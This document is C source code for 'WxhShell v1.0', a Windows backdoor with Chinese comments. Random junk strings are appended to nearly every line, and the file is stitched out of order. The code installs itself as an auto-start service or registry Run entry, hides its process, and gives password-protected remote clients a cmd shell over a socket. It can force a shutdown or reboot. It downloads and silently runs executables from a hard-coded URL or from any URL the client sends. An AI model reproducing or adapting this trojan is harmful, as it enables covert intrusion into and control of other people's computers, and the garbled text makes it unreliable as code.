    } Ag!#epi{0  
  // 关机 !bHM:!6^  
  case 'd': { a~-^$Fzgy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S3k>34_%9  
    if(Boot(SHUTDOWN)) hsUP5_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0i_sB~T  
    else { CF`fn6  
    closesocket(wsh); tyLR_@i%%  
    ExitThread(0); \#A=twp  
    } r2*'5jk_  
    break; Pyx$$cj  
    } |e@Bi#M[  
  // 获取shell /j1p^=ARV  
  case 's': { O<x53MN^  
    CmdShell(wsh); +RO=a_AS  
    closesocket(wsh); [,|Z<  
    ExitThread(0); [n_H9$   
    break; Dg LSDKO!  
  } > HL8hN'q'  
  // 退出 =/Dp*  
  case 'x': { U&|$B|[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); PUN.nt  
    CloseIt(wsh); D=fB&7%@  
    break; dIo|i,-  
    } nAp7X-t  
  // 离开 N3};M~\  
  case 'q': { Mlpq2I_x  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); _5nQe !  
    closesocket(wsh); "F+Wo&  
    WSACleanup(); "Jp6EL%  
    exit(1); 2Z-BZuK6p  
    break; JAA P5ur  
        } YJ5;a\QxN  
  } A*h)p@3t<  
  } [^gSWU  
bz~-uHC  
  // 提示信息 _l?5GLl_F$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f-\l<o(  
} Z v=p0xH  
  } ]'aG oR  
*4zVK/FJ  
  return; "z }bgy  
} /Ki :6  
N[}XLhbt  
// shell模块句柄 V,uhBMT#  
int CmdShell(SOCKET sock) A&5$eGe9  
{ Oh:SH|=]#  
STARTUPINFO si; rrSA.J{  
ZeroMemory(&si,sizeof(si)); MjI}fs<   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 55oLj.l^j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; KG#|Cq  
PROCESS_INFORMATION ProcessInfo; iR#jBqXD  
char cmdline[]="cmd"; ,gU9y wg  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?.A6HrAPB  
  return 0; 'ce9v@(0  
} $`'^&o;&f  
$gZ|=(y&r  
// 自身启动模式 1F5F2OT$8  
int StartFromService(void) 33\b@F7b  
{ `bZ_=UAb  
typedef struct RWBmQg^]X  
{ B`hxF(_p/  
  DWORD ExitStatus; e_6 i896  
  DWORD PebBaseAddress; JoZC+G  
  DWORD AffinityMask; xuelo0h,  
  DWORD BasePriority; "0L@cOyG  
  ULONG UniqueProcessId; /]xd[^  
  ULONG InheritedFromUniqueProcessId; j.C C.[$g  
}   PROCESS_BASIC_INFORMATION; YA^9, q6u?  
CSU>nIE0  
PROCNTQSIP NtQueryInformationProcess; :B- ,*@EU  
{uj9fE,)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j )F~C8*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %h%r6EB1F  
2 ;B[n;Q{  
  HANDLE             hProcess; rMlbj2T  
  PROCESS_BASIC_INFORMATION pbi; XB;;OP12  
73xI8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); l}AB):<Z  
  if(NULL == hInst ) return 0; nTu"  
oS_p/$F,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <R{\pz2w  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); sCb?TyN'n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); +[2lS54"W4  
00pHnNoxW  
  if (!NtQueryInformationProcess) return 0; 1shvHmrV  
5o~Z>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); EoY#D'[  
  if(!hProcess) return 0; w#b~R^U  
TU. h  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; # |UrHK;  
;U`HvIch  
  CloseHandle(hProcess); 0XozYyq  
V,M8RYOnC!  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _F3vC#  
if(hProcess==NULL) return 0; h}`<pq  
OC\C^Yh*U  
HMODULE hMod; jEO;  
char procName[255]; WJ9u 3+  
unsigned long cbNeeded; hrAI@.Bo  
\O/=g6w|t}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9)YG)A~<  
hG;u8|uT^i  
  CloseHandle(hProcess); V u! ,tpa.  
AARhGx|L<  
if(strstr(procName,"services")) return 1; // 以服务启动 f CVSVn"o  
Yp ? 2<  
  return 0; // 注册表启动 |R[m&uOib  
} YT:5J%"  
.HtDcGp  
// 主模块 2C8M1^0:Z  
int StartWxhshell(LPSTR lpCmdLine) $K G?d>wx  
{ zR<jZwo]#  
  SOCKET wsl; :e9E#o  
BOOL val=TRUE; oL6_Ya  
  int port=0; 3> fuH'=  
  struct sockaddr_in door; ja>Tnfu  
[D?E\Nkk  
  if(wscfg.ws_autoins) Install(); c&_3"2:  
gh 0\9;h  
port=atoi(lpCmdLine); /V*eAn8>  
[}AcCXg`L  
if(port<=0) port=wscfg.ws_port; 3?}SXmA'@  
|F=^Cu,  
  WSADATA data; O>>8%=5Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W4|;JmT.r  
QWP_8$Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &`%C'KZ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7v:;`6Jb  
  door.sin_family = AF_INET; PHOW,8)dZh  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WMC6 dD_6e  
  door.sin_port = htons(port); 4v?S` w:6  
!kz\ {  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { hmi15VW  
closesocket(wsl); [j/-(?+  
return 1; (nzzX?`nY  
} D6m>>&E['  
r:o!w7C:a  
  if(listen(wsl,2) == INVALID_SOCKET) { \4&g5vE  
closesocket(wsl); oyd{}$71d  
return 1; '\;tmD"N5#  
} 9(I4x]`  
  Wxhshell(wsl); [gE2lfaEy  
  WSACleanup(); oy |@m|J  
f[ywC$en  
return 0; 1GNA x\(  
SVHtv0Nx  
} a&<<X:$Hy  
2-6-kS)c  
// 以NT服务方式启动 O|/tRkDMP{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lDA%M3(p  
{ i}YnJ  
DWORD   status = 0; 3A9|{Vaz+6  
  DWORD   specificError = 0xfffffff; qjFgy)qV  
Yk5kC 0B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lV 1|\~?4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; s0h)~z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0'<S7?~|  
  serviceStatus.dwWin32ExitCode     = 0; $pKS['J0  
  serviceStatus.dwServiceSpecificExitCode = 0; BZBsE :(F  
  serviceStatus.dwCheckPoint       = 0; WV% KoM,%  
  serviceStatus.dwWaitHint       = 0; g?`J,*y  
+(<f(]bG  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TvP# /qGgG  
  if (hServiceStatusHandle==0) return; )2A4vU-IR.  
oa4}GNH  
status = GetLastError(); | jkmh6  
  if (status!=NO_ERROR) nk{1z\D{  
{ *!Dzst-J3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ubQ(O uM"  
    serviceStatus.dwCheckPoint       = 0; Ob6vg^#  
    serviceStatus.dwWaitHint       = 0; 8?$2;uGL  
    serviceStatus.dwWin32ExitCode     = status; nGt8u4gcP  
    serviceStatus.dwServiceSpecificExitCode = specificError; f0F$*"#G  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y `{U45  
    return; Z*)<E)  
  } bODl q  
7PMZt$n  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y{N9.H2  
  serviceStatus.dwCheckPoint       = 0; p%s D>1k  
  serviceStatus.dwWaitHint       = 0; JjmL6(*ui  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ymzm x$o=  
} YJy*OS_&  
HT&0i,`  
// 处理NT服务事件,比如:启动、停止 zxh"@j$?  
VOID WINAPI NTServiceHandler(DWORD fdwControl) = `^jz}  
{ gr;M  
switch(fdwControl) NR*SEbUU*  
{ >g[W@FhT'k  
case SERVICE_CONTROL_STOP: QJ>>&`{ ,  
  serviceStatus.dwWin32ExitCode = 0; rg,63r  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K_QCYS.  
  serviceStatus.dwCheckPoint   = 0; [Ni4[\  
  serviceStatus.dwWaitHint     = 0; Y9;Mey*oW  
  { ?_aR-[XRg  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); spJ(1F{|V  
  } I*}#nY0+  
  return; Ct)MvZ  
case SERVICE_CONTROL_PAUSE: sh ;uKzQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 3ZlI$r(  
  break; >K :"[?  
case SERVICE_CONTROL_CONTINUE: iI*7WO[W  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8(>.^667  
  break; c~xo@[NaS  
case SERVICE_CONTROL_INTERROGATE: !9, pX  
  break; -`OR6jd  
}; 91H0mP>ki  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l,.?-|Poa  
} h '[vB^  
]ufW61W6Ci  
// 标准应用程序主函数 bSf(DSqx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) %v[ Kk-d  
{ 1v&Fo2ML  
?Z>.G{Wm@  
// 获取操作系统版本 "!tw ,Gp  
OsIsNt=GetOsVer(); 6[.Mx}h6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); X:lPWz!7{  
J\3} il N  
  // 从命令行安装 #[y<h3f]  
  if(strpbrk(lpCmdLine,"iI")) Install(); N}fUBX4k  
N-`;\  
  // 下载执行文件 = O1;vc}AA  
if(wscfg.ws_downexe) { 7 Zt\G-QV  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) abeSkWUL(  
  WinExec(wscfg.ws_filenam,SW_HIDE); DYlvxF`  
} :(>9u.>l?5  
-l H>8+  
if(!OsIsNt) { | ",[C3Jg  
// 如果时win9x,隐藏进程并且设置为注册表启动 >&QH{!(  
HideProc(); Rt^<xXX$  
StartWxhshell(lpCmdLine); p{q!jm~Nq  
} 4q13xX  
else U5!f++  
  if(StartFromService()) W@,p9=425  
  // 以服务方式启动 KC:4  
  StartServiceCtrlDispatcher(DispatchTable);  YX`=M  
else *Ca)RgM  
  // 普通方式启动 JA(fam~{  
  StartWxhshell(lpCmdLine); RX5.bVp eE  
kLt9; <L  
return 0; ;#s}b1  
} liqR#<  
DBJA}Cw  
lVdT^"~3  
M~Qj'VVL  
=========================================== |90 +)/$4  
Xexe{h4t_>  
Pzp+I}  
f&}A!uLe4x  
&3Z. #*  
&4Con%YU[  
" HI\f>U  
d:hL )x  
#include <stdio.h> sD8 m<   
#include <string.h> NOr <,  
#include <windows.h> }{xN`pZ  
#include <winsock2.h> <;cE/W}}  
#include <winsvc.h> 8A^jD(|  
#include <urlmon.h> @f{_=~+  
8ts+'65|F  
#pragma comment (lib, "Ws2_32.lib") vA"niO  
#pragma comment (lib, "urlmon.lib") ^2^|AXNES  
]1d,O^S  
#define MAX_USER   100 // 最大客户端连接数 - SS r  
#define BUF_SOCK   200 // sock buffer ~ sIGI?5f  
#define KEY_BUFF   255 // 输入 buffer B>Cs&}Y!  
xs'kO=  
#define REBOOT     0   // 重启 O R<"LTCL  
#define SHUTDOWN   1   // 关机 4su_;+]  
s`=/fvf.  
#define DEF_PORT   5000 // 监听端口 ~r^5-\[hZ  
MJ*]fC3/  
#define REG_LEN     16   // 注册表键长度 hiRR+`L%  
#define SVC_LEN     80   // NT服务名长度 cZr G:\A  
Vp $wHB&  
// 从dll定义API ;DD>k bd  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ("E!Jyc!  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~sU?"V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l>D-Aan  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); qX{X4b$  
?#m<\]S<  
// wxhshell配置信息 AL]h|)6QpC  
struct WSCFG { pSQCT  
  int ws_port;         // 监听端口 zD2.Q%`IM  
  char ws_passstr[REG_LEN]; // 口令 n<?SZ^X{,/  
  int ws_autoins;       // 安装标记, 1=yes 0=no T+WZE  
  char ws_regname[REG_LEN]; // 注册表键名 5BHOHw D{  
  char ws_svcname[REG_LEN]; // 服务名 dGsS<@G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3G%wZ,)C  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 gf3U#L}P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V+O0k: o  
int ws_downexe;       // 下载执行标记, 1=yes 0=no G7Z vfLR{:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I{42'9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LiZdRr  
kxm:g)`=[  
}; 6KEykw j  
lC=N:=Mu  
// default Wxhshell configuration }2ql?K  
struct WSCFG wscfg={DEF_PORT, m\/,cc@,  
    "xuhuanlingzhe", 7k[pvd|L  
    1, 9$o<  
    "Wxhshell", EK?@Z.q+  
    "Wxhshell", G; C8Kde  
            "WxhShell Service", OG`|td  
    "Wrsky Windows CmdShell Service", goDV2 alC^  
    "Please Input Your Password: ", )C>}"#J>  
  1, ZU-4})7uSB  
  "http://www.wrsky.com/wxhshell.exe", 3J'73)y  
  "Wxhshell.exe" LAv:+o(m/  
    }; "Su b4F`  
'u(=eJ@1  
// 消息定义模块 Ak5[PBbW  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C}mYt/  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <rX \LwR  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \ fK47oV  
char *msg_ws_ext="\n\rExit."; |P~O15V*Q  
char *msg_ws_end="\n\rQuit."; K`Bq(z?/  
char *msg_ws_boot="\n\rReboot..."; nTys4 R  
char *msg_ws_poff="\n\rShutdown..."; 3s`V)aXP  
char *msg_ws_down="\n\rSave to "; =Kc|C~g  
)o#6-K+b  
char *msg_ws_err="\n\rErr!"; /a[V!<"R  
char *msg_ws_ok="\n\rOK!"; y]}b?R~p=  
Aq V09 $  
char ExeFile[MAX_PATH]; sULIrYRA  
int nUser = 0; ;OOj[%.  
HANDLE handles[MAX_USER]; +`;+RDKY*  
int OsIsNt; `FA) om  
>vWEUE[  
SERVICE_STATUS       serviceStatus; U~uwm/h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6FL?4>MZ  
5vD3K! \u  
// 函数声明 J| SwQE~  
int Install(void); 6OL41g'  
int Uninstall(void); lSH ZV Fd  
int DownloadFile(char *sURL, SOCKET wsh); (U|)xA]y!  
int Boot(int flag); XC|*A$x,  
void HideProc(void); )v%l0_z{  
int GetOsVer(void); z,pNb%*O  
int Wxhshell(SOCKET wsl); 6xH;: B)d  
void TalkWithClient(void *cs); X=v~^8M7%  
int CmdShell(SOCKET sock); 5>k>L*5J  
int StartFromService(void); wgY6D!Y   
int StartWxhshell(LPSTR lpCmdLine); 9p <:=T  
[34zh="o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); [IiwNqZ[~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,YjxC p3  
u`'ki7LA  
// 数据结构和表定义 >M?H79fF2s  
SERVICE_TABLE_ENTRY DispatchTable[] = Hm>-LOCcl  
{ 7\mDBG  
{wscfg.ws_svcname, NTServiceMain}, :?HSZocf  
{NULL, NULL} r5o@+"!  
}; Iq{o-nq  
,-@xq.D  
// 自我安装 807al^s x  
int Install(void) 0 _Q * E3  
{ JXH",""bq  
  char svExeFile[MAX_PATH]; glv ;C/l  
  HKEY key; ?4^} ;wDb2  
  strcpy(svExeFile,ExeFile); pe|X@o  
'gCJ[ce  
// 如果是win9x系统,修改注册表设为自启动 gs?8Wzh90*  
if(!OsIsNt) { :'Zx{F`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { LU%#mY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c$9sF@K?  
  RegCloseKey(key); R7lYu\mA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { WFouoXlG0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Te# ]Cn|  
  RegCloseKey(key); PPEq6}  
  return 0; $=/rGpAk  
    } Qh*)pt]n  
  } lbRzx4=\y  
} {$;2 HbM(  
else { `M&P[ .9Pz  
5J  ySFG3  
// 如果是NT以上系统,安装为系统服务 Ua %UbAt  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .}o~VT:!?Y  
if (schSCManager!=0) G\R*#4cF  
{ T/ik/lFI  
  SC_HANDLE schService = CreateService -$. 0Dc)3!  
  ( AcKU^T+  
  schSCManager, iC\%_5/ _  
  wscfg.ws_svcname, axX{6  
  wscfg.ws_svcdisp, u t$c)_  
  SERVICE_ALL_ACCESS, j !`B'{cH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $!f !,fw+  
  SERVICE_AUTO_START, IroPx#s:i  
  SERVICE_ERROR_NORMAL, /0(%(2jIWl  
  svExeFile, }3Qc 24`  
  NULL, @K\o4\  
  NULL, sm0fAL  
  NULL, GMl"{ Oxo&  
  NULL, H<g 1m  
  NULL /jM_mrpz  
  ); i0>]CJG  
  if (schService!=0) ?ty>}.c t  
  { >z(wf>2J  
  CloseServiceHandle(schService); 'r\ 4}Ik  
  CloseServiceHandle(schSCManager); %,0%NjK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); uQnT[\k?  
  strcat(svExeFile,wscfg.ws_svcname); :_v!#H)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @OzMiN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Hfh!l2P  
  RegCloseKey(key); fN@{y+6  
  return 0; pe.Ml7o"  
    } u"`*DFjo*  
  } *7ZtNo[+  
  CloseServiceHandle(schSCManager); #.H}r6jqs  
} X3<K 1/<  
} P;73Hr[E#  
h$>wv`  
return 1; PQ$sOK|/  
} Nar>FR7ut  
nq1 'F  
// 自我卸载 7tRi"\[5  
int Uninstall(void) <YH=3[  
{ HJIC<U  
  HKEY key; )qv2)a!H  
Tg0CE60"  
if(!OsIsNt) { yrnv!moc%t  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `rlk|&T1  
  RegDeleteValue(key,wscfg.ws_regname); vy [C'a  
  RegCloseKey(key); ?^}_j vT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +>SRrIi  
  RegDeleteValue(key,wscfg.ws_regname); V^TbP.  
  RegCloseKey(key); Ird|C[la  
  return 0; 2s\BY%XY  
  } /,2rjJ#b  
} ;'0=T0\  
} D/CIA8h3  
else { X %4Kj[I^  
5pfYEofK[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); H>XFz(LWh  
if (schSCManager!=0) y!~qbh[  
{ .XS9,/S  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Y]Vq\]m\  
  if (schService!=0) nls   
  { -_em%o3XC  
  if(DeleteService(schService)!=0) { dEp7{jY1O  
  CloseServiceHandle(schService); 2%]Z Kd  
  CloseServiceHandle(schSCManager); ^nNitF  
  return 0; T]9m:z X9s  
  } ((bTwx  
  CloseServiceHandle(schService); [ c~kF+8  
  } uOd& XW  
  CloseServiceHandle(schSCManager); K\u_Ji]k  
} y t5H oy  
} -DjJ",h( $  
mV)+qXC  
return 1; pr&=n;_ n  
} ]Y`Ib0$  
]JXKZV8$0  
// 从指定url下载文件 [M%._u,  
int DownloadFile(char *sURL, SOCKET wsh) dg_Gs>?2  
{ > ' i  
  HRESULT hr; A6 !F@Ic[  
char seps[]= "/"; A&"%os  
char *token; ^x m$EY*Y,  
char *file; YlF%UPp  
char myURL[MAX_PATH]; H,y4`p 0  
char myFILE[MAX_PATH]; tU :EN;H  
\+ 0k+B4a  
strcpy(myURL,sURL); =5x&8i  
  token=strtok(myURL,seps); Lja7   
  while(token!=NULL) %JyXbv3m,  
  { /.1. MssQM  
    file=token; yK%ebq]  
  token=strtok(NULL,seps); @7 <uMasfp  
  } (Un_!)  
k|xtr&1N.!  
GetCurrentDirectory(MAX_PATH,myFILE); F(,UA+$A  
strcat(myFILE, "\\"); Iz@)!3h  
strcat(myFILE, file); ;j%BK(5  
  send(wsh,myFILE,strlen(myFILE),0); yN6>VD{F  
send(wsh,"...",3,0);  Vzl^Ka'  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); VIJ<``9[  
  if(hr==S_OK) 8gy_Yj&{P  
return 0; gckI.[!b  
else @~ETj26U'  
return 1; y[?-@7i  
qfoD  
} {d<;BLA  
T'H::^9:E  
// 系统电源模块 n, i'Dhzk  
int Boot(int flag) N?P%-/7  
{ oCS2E =O&  
  HANDLE hToken; 6 #@ f'~s  
  TOKEN_PRIVILEGES tkp; x@Hd^xH`  
$O)3 q $|  
  if(OsIsNt) { }"^'% C8EX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); alq%H}FF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); VQ#3#Hj  
    tkp.PrivilegeCount = 1; tmUFT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kwpK1R4zs  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BV#78,8(  
if(flag==REBOOT) { [*:6oo98'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Pr ]Ka  
  return 0; U}k9 Py  
} E&$yuW^z  
else { Yz$3;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) $%R$ G`.KM  
  return 0; &<RpWAk{  
} 67SV~L#%O  
  } 26vp1  
  else { {gbn/{  
if(flag==REBOOT) { L;Z0`mdz  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wV\gj~U;P  
  return 0; d5 7i)=  
} <FI-zca  
else { X;v$5UKU  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '6y}ZE[  
  return 0; MY#   
} B=8Iu5m  
} UFAL1c<V  
Xce0~\_ A  
return 1; >K9#3 4hP  
} 4;`oUt'.  
_j?e~w&0b  
// win9x进程隐藏模块 _WXtB#  
void HideProc(void) l>*"mh  
{ jO*l3:!~\  
UhA"nt0  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @c9^q> Uv  
  if ( hKernel != NULL ) R218(8S  
  { k@ZLg9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); B33$pUk  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &F STpBu  
    FreeLibrary(hKernel); ;2'q_Btk4  
  } Urr#N  
X3'H `/  
return; l7#yZ*<v  
} 6`vC1PK^  
!$N<ds.  
// 获取操作系统版本 EnOU?D  
int GetOsVer(void) ib{-A&  
{ N_:qRpp6i  
  OSVERSIONINFO winfo; _=CZR7:O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !aO` AC=5u  
  GetVersionEx(&winfo); [(1c<b2r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9z)5Mdf1j  
  return 1; w?kJ+lmOQy  
  else dT,o=8fg  
  return 0; "BX!  
} {ZY+L;eg1  
P) 3mX.(}  
// 客户端句柄模块 .`>y@p!  
int Wxhshell(SOCKET wsl) J{^RkGF  
{ E4 m`  
  SOCKET wsh; ,|&9M^  
  struct sockaddr_in client; ( =~&+z  
  DWORD myID; Xd^\@  
,^#yo6-  
  while(nUser<MAX_USER) KM^ufF2[  
{ y~()|L[  
  int nSize=sizeof(client); ME'|saP  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); _6 ay-u  
  if(wsh==INVALID_SOCKET) return 1; RV@*c4KvO+  
lz1 wO5%h  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "*G.EiLq  
if(handles[nUser]==0) mZd , 9  
  closesocket(wsh); vWGwVH/K  
else r@ZJ{4\Q  
  nUser++; u\eEh*<7q  
  } e=O,B8)_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Yw#2uh  
tHzZ@72B7  
  return 0; pAT7)Ch  
} f bUr`~Y"  
g<~Cpd  
// 关闭 socket bV,}Pp+/"!  
void CloseIt(SOCKET wsh) V+O"j^Z_J  
{ 9K1oZ?)_z  
closesocket(wsh); ;G%R<Z  
nUser--; yn#X;ja-  
ExitThread(0); l ok=  
} \L"kV!>  
=UV`.d2[  
// 客户端请求句柄 ~6p[El#tS  
void TalkWithClient(void *cs) J H7<  
{ *QH28%^  
812$`5l  
  SOCKET wsh=(SOCKET)cs; t.;LnrY  
  char pwd[SVC_LEN]; ~?(N  
  char cmd[KEY_BUFF]; rS;Dmm  
char chr[1]; Fi0GknQ+  
int i,j; EAM5{Nc  
I'LnI*  
  while (nUser < MAX_USER) { 1')%`~  
t<#h$}=:Vt  
if(wscfg.ws_passstr) { b9!FC$^J  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WYr/oRO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BqT y~{)+  
  //ZeroMemory(pwd,KEY_BUFF); *c2YRbU(  
      i=0; lv04g} W  
  while(i<SVC_LEN) { soQ1X@"0  
>rf'-X4n  
  // 设置超时 |j,"Pl}il^  
  fd_set FdRead; =uS9JU^E  
  struct timeval TimeOut; ~;N^g4s  
  FD_ZERO(&FdRead); >Z5gSs0  
  FD_SET(wsh,&FdRead); :\|SQKD  
  TimeOut.tv_sec=8; 9E6_]8rl  
  TimeOut.tv_usec=0; ,k;^G>< =  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [EKQR>s)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); "yS _s  
P}4QQw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .4E&/w+  
  pwd=chr[0]; h D/*h*}T>  
  if(chr[0]==0xd || chr[0]==0xa) { nR-YrR*k  
  pwd=0; -X"p:=;j  
  break; }R{ts  
  } \pVXimam  
  i++; aJ>65RJ^=  
    } lz?$f4TzA  
\RG8{G,  
  // 如果是非法用户,关闭 socket  bJX)$G  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N(Tz%o4  
} @"^0%/2-  
hbY5l}\5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); tIuCct-  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .?loO3 m  
:s7m4!EF  
while(1) { \hx1o\  
&__es{;P  
  ZeroMemory(cmd,KEY_BUFF); ^y<<>Y'I  
xjKR R?  
      // 自动支持客户端 telnet标准   G U( _  
  j=0; `)_dS&_\  
  while(j<KEY_BUFF) { r2,.abo  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N(Fp0  
  cmd[j]=chr[0]; Tu).K.p:  
  if(chr[0]==0xa || chr[0]==0xd) { AHXSt  
  cmd[j]=0; oY933i@l)P  
  break; v]B3m  
  } G?Q3/y(  
  j++; N/MUwx;P  
    } Q$zO83  
&B6Ep6QS  
  // 下载文件 f,018]|  
  if(strstr(cmd,"http://")) { X\bOz[\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;)D];u|_  
  if(DownloadFile(cmd,wsh)) ~T1 XLu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); M`,)wi  
